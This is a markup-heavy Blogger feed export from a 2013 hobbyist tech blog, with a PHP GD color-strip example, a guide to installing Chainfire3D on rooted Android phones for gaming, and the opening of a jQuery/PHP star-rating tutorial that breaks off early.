&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f901a2e7-03f4-41d4-a60b-389073d90e3f&quot; id=&quot;84cf9dd0-0372-4c5a-8d39-d0f418286576&quot;&gt;rewrite&lt;/span&gt; our color testing strip using PHP’s &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f901a2e7-03f4-41d4-a60b-389073d90e3f&quot; id=&quot;f672a376-8ad8-4a17-9f82-17c1f2f325bb&quot;&gt;bitshift&lt;/span&gt; operator:&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0613213ed7&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;66ba449b-9ab6-4638-bde3-edd9c722dc3c&quot; id=&quot;ba01d2ca-a4ff-4c66-a36b-00549c2bbebb&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;66ba449b-9ab6-4638-bde3-edd9c722dc3c&quot; id=&quot;2782edf1-5ea0-41ca-92c8-1ee82deca986&quot;&gt;php&lt;/span&gt;
$im = ImageCreateTrueColor&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;30e2eec3-3ecc-469c-9657-07437b09a4ab&quot; id=&quot;24f9a2d3-a332-49f2-ad01-24f6a1e9c958&quot;&gt;(&lt;/span&gt;256,60);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d23773e6-847c-4850-9929-713fb65ae6ab&quot; id=&quot;e0436c14-7b3f-439d-8e68-d924729af39b&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d23773e6-847c-4850-9929-713fb65ae6ab&quot; id=&quot;8a586ce6-7f6b-43f4-972d-f00640fb6dc3&quot;&gt;(&lt;/span&gt;$x=0; $x&lt;256; $x++) {
ImageLine($im, $x, 0, $x, 19, $x);
ImageLine($im, 255-$x, 20, 255-$x, 39, $x&lt;&lt;8);
ImageLine($im, $x, 40, $x, 59, $x&lt;&lt;16);
}
Header&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c7f7df51-eac9-4448-8c8c-c45d97a1b018&quot; id=&quot;913e3fda-1d95-4ad4-99f5-c1a010ab75af&quot;&gt;(&lt;/span&gt;&#39;Content-Type: image/png&#39;);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;28883061-30be-4ced-af62-3897b50fb7c2&quot; id=&quot;4eccd5cd-3b1a-4526-9a50-3169e68a26d8&quot;&gt;ImagePNG&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;28883061-30be-4ced-af62-3897b50fb7c2&quot; id=&quot;9e19cf84-9c1a-4a8f-a765-102095c09093&quot;&gt;(&lt;/span&gt;$im);
?&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213ed7-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213ed7-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213ed7-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213ed7-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213ed7-5&quot;&gt;
5&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213ed7-6&quot;&gt;
6&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213ed7-7&quot;&gt;
7&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213ed7-8&quot;&gt;
8&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213ed7-9&quot;&gt;
9&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213ed7-10&quot;&gt;
10&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213ed7-1&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ea86a173-3f42-416c-aa89-434cf5efcd3a&quot; id=&quot;94517e20-55c1-4e2b-bca3-e0245d8c5755&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ea86a173-3f42-416c-aa89-434cf5efcd3a&quot; id=&quot;707563b0-d73c-41ce-a263-1cfe0b1a77ed&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213ed7-2&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageCreateTrueColor&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e12ba9c3-c57f-420c-8eb9-b3017de55b3f&quot; id=&quot;c6b1f868-afe9-4b3f-912a-9fd381ca99e7&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213ed7-3&quot;&gt;
&lt;span class=&quot;crayon-st&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ef6d40bf-a362-4df5-97d9-a78be48ef1a0&quot; id=&quot;d930ea04-238e-4f27-9080-e4f1d3371ca1&quot;&gt;for&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ef6d40bf-a362-4df5-97d9-a78be48ef1a0&quot; id=&quot;7431bf00-db9a-40a4-a91d-162ec5f59304&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213ed7-4&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;ImageLine&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;19&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213ed7-5&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;ImageLine&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;39&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213ed7-6&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;ImageLine&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;59&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213ed7-7&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213ed7-8&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;Header&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;17f47ce6-f2c2-4937-a27d-36fd6fac59fc&quot; id=&quot;691d5602-1402-4545-baf8-420f29daf7a3&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;Content-Type: image/png&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213ed7-9&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ffc5c1d1-2de5-42fb-94c9-4d2bab0f7e01&quot; id=&quot;66cec338-2b94-4be4-bb7e-21eb95d2c38c&quot;&gt;ImagePNG&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ffc5c1d1-2de5-42fb-94c9-4d2bab0f7e01&quot; id=&quot;86476942-4de1-49a6-be1c-93d798038684&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213ed7-10&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h5&gt;
Output:&lt;/h5&gt;
&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/06/truecolor-handling2.jpg&quot;&gt;&lt;span class=&quot;GingerNoCheckEnd&quot;&gt;&lt;/span&gt;&lt;img alt=&quot;truecolor handling&quot; class=&quot;alignnone size-full wp-image-630&quot; height=&quot;60&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/06/truecolor-handling2.jpg&quot; width=&quot;256&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/5976120728917403569/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/06/color-handling-using-php-paint-colors.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/5976120728917403569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/5976120728917403569'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/06/color-handling-using-php-paint-colors.html' title='Color Handling using PHP -- Paint colors'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-4312088075815880985</id><published>2013-06-25T06:36:00.001+05:30</published><updated>2013-06-25T06:37:32.417+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Mobile Tips"/><title type='text'>How To Play Temple Run, Temple Run Oz, Angry Grany in Galaxy y</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;b&gt;HOW TO INSTALL CHAINFIRE 3D&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This is a tutorial on how to install CHAINFIRE 3D pro on your techno N3 
Or android phone. And how to use CHAINFIRE 3D run most games on your 
Android phones using chainfire 3D pro.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;WHAT CHAINFIRE 3D DOES?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
What Chainfire3D does is that it stands between your apps and the 
Graphics drivers, and intercept and/or change commands between the two. 
It has some built-in functions, and can be further extended with plugins
 To provide extra functions. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Warning&lt;/b&gt;::&lt;span style=&quot;color: red;&quot;&gt; It is recommended for 1ghz+ devices only and the phone must be &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;af756e15-61e9-44bf-9109-c5a7ebf1d602&quot; id=&quot;ebb65dad-3fc6-4a32-b2bb-6202d8545e9e&quot;&gt;rooted&lt;/span&gt; to use this app!&lt;br /&gt;It works on Android 2.1 + devices but is safer on Android 2.1 devices!&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;HOW TO INSTALL CHAINFIRE 3D&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Download and install &lt;a href=&quot;https://play.google.com/store/apps/details?id=eu.chainfire.cf3d&amp;amp;hl=en&quot; target=&quot;_blank&quot;&gt;Chainfire3D&lt;/a&gt; (disregard warning and &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a1ce2b76-824a-411a-aeb2-06488c6ac569&quot; id=&quot;a2f83476-d722-4e3c-8f6e-658b2f497f62&quot;&gt;device&lt;/span&gt; will reboot).&lt;/li&gt;
&lt;li&gt;Download it&#39;s plugins Plugins or.&lt;/li&gt;
&lt;li&gt;Extract the plugins you downloaded to your SD card (they are 3 .&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;79fdd183-e028-4448-9bf7-1490f520c7ed&quot; id=&quot;50108737-ed47-422b-af12-7cdd895c731b&quot;&gt;i.e.&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;79fdd183-e028-4448-9bf7-1490f520c7ed&quot; id=&quot;87c27270-c1e4-4731-9051-dcc7f3911273&quot;&gt;(&lt;/span&gt;POWERVR/Qualcomm/Tegra).&lt;/li&gt;
&lt;li&gt;Open Chainfire 3D and click on Install plugin/&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d24806aa-c7ff-41bd-9bcf-fce18d589988&quot; id=&quot;a82eb974-76c0-43ea-8df1-9fcc4c2c7d88&quot;&gt;shaders&lt;/span&gt; and then, chainfire 3d will search your &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d24806aa-c7ff-41bd-9bcf-fce18d589988&quot; id=&quot;c6c2cf94-2fea-4c6e-9e3f-a0feaaa2e3f5&quot;&gt;sd&lt;/span&gt; card for plugins.&lt;/li&gt;
&lt;li&gt;When it&#39;s done searching click on the 3 plugins one by one to install them &lt;/li&gt;
&lt;li&gt;Install libGLEMU_POWERVR.zip (for PowerVR), Install 
libGLEMU_NVIDIA.zip (for Nvidia), Install libGLEMU_QUALCOMM.zip (for 
Qualcomm).&lt;/li&gt;
&lt;li&gt;Go back and click on Default OpenGL settings and select reduce 
Texture quality then scroll down and click on use plugin and select 
QUALCOMM.&lt;/li&gt;
&lt;li&gt;You can now launch your games.&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
Chainfire3D has been tested on:&lt;br /&gt;
&amp;nbsp;- HTC HD2&lt;br /&gt;
- Samsung Galaxy y&lt;br /&gt;
- Samsung Galaxy S&lt;br /&gt;
- Samsung Galaxy Tab 7&quot;&lt;br /&gt;
- Samsung Galaxy S II&lt;br /&gt;
- Samsung Epic 4G&lt;br /&gt;
- Motorola Atrix 4G&lt;br /&gt;
- Motorola Droid 2&lt;br /&gt;
- LG Optimus 2X&lt;br /&gt;
- Google Nexus S&lt;br /&gt;
- Bsnl Penta&lt;br /&gt;
- &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; id=&quot;75aab1e5-f997-4d30-b666-157d1ffe4111&quot;&gt;Bsnl&lt;/span&gt; Teracam&lt;br /&gt;
It would&amp;nbsp; likely work on other devices. So far nobody has reported a failed install &lt;a href=&quot;http://www.google.com.ng/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=3&amp;amp;cad=rja&amp;amp;ved=0CDwQFjAC&amp;amp;url=http%3A%2F%2Fforum.xda-developers.com%2Fshowthread.php%3Ft%3D2063993&amp;amp;ei=h-JsUcOOLoOvPNWGgPgN&amp;amp;usg=AFQjCNFRQ0vkzZf7CLihICKRdwVpGegSuw&amp;amp;bvm=bv.45175338,d.ZWU&quot; target=&quot;_blank&quot;&gt;XDA FORUM&lt;/a&gt;..
 This doesn&#39;t mean problems can&#39;t happen and I will not be responsible 
Cause you do this at your own risk! If you are a techno N3 or N7 user I 
Can user it will definitely work for you.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Note:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;Use Qualcomm or Nvidia plugin as your default
 Qualcomm as it is quite powerful and supports almost all games. Use 
PowerVR plugin for any games or application that need high graphic 
Performance and better solution i.e under &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0e12d5d8-f4a8-4fad-bba0-2a702abedcb0&quot; id=&quot;ffb052f1-f132-4b64-9096-5cf2157425d3&quot;&gt;per&lt;/span&gt;-App OpenGL Settings. 
PowerVR plugin is not recommended to be used as a default plugin cause it 
Will stress your GPU will damage it over time just like ram expansion 
Does to your memory card.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/4312088075815880985/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/06/how-to-play-temple-run-temple-run-oz.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/4312088075815880985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/4312088075815880985'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/06/how-to-play-temple-run-temple-run-oz.html' title='How To Play Temple Run, Temple Run Oz, Angry Grany in Galaxy y'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-3434408377846028057</id><published>2013-04-30T09:05:00.000+05:30</published><updated>2013-05-13T09:24:07.357+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Html Tips"/><title type='text'>5 Star Rating System</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;download_wrap&quot;&gt;
&lt;/div&gt;
In
 this tutorial, you’ll learn how to build a rating system with AJAX, 
PHP, and jQuery. Votes will be recorded and updated in real-time with 
the magic of AJAX, and we’ll also leverage the power of PHP so that you 
don’t even need a database!&lt;br /&gt;
&lt;span id=&quot;more-11541&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;hr /&gt;
&lt;h2&gt;
Step 1. Building the HTML&lt;/h2&gt;
We’re
 going to create a simple page that lists two movies, and allows you to 
rate them. This means we need the stars to show the current rating, and 
to allow voting. We also want an area to show the total votes cast, and 
the current rating down to one decimal place.&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img height=&quot;300&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/664_rating/01.png&quot; width=&quot;600&quot; /&gt;&lt;/div&gt;
Let’s take a look at the HTML/CSS&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-xml&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&#39;movie_choice&#39;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Rate:&amp;nbsp;Raiders&amp;nbsp;of&amp;nbsp;the&amp;nbsp;Lost&amp;nbsp;Ark&amp;nbsp;&amp;nbsp;&lt;/li&gt;
